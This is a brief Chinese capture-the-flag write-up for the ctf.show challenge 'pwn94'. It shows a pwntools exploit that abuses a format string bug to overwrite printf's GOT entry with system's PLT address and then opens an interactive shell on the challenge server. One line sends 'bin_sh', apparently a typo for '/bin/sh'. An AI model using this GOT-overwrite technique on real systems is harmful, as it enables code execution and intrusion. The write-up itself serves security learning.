pwn94(格式化字符串)
先用IDA打开,可以利用格式化字符串漏洞
找到system函数
找到偏移量为6
构造exp
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
#context(arch='i386',os='linux',log_level='debug')
elf = ELF('./pwn')
offset = 6
p = remote('pwn.challenge.ctf.show', 28175)
printf_got = elf.got["printf"]
sys_plt = elf.plt["system"]
#把printf_got换成sys_plt,当执行printf的时候实实际在执行system函数
payload = fmtstr_payload(offset,{printf_got:sys_plt})
p.sendline(payload)
p.send("bin_sh")
p.interactive()得到flag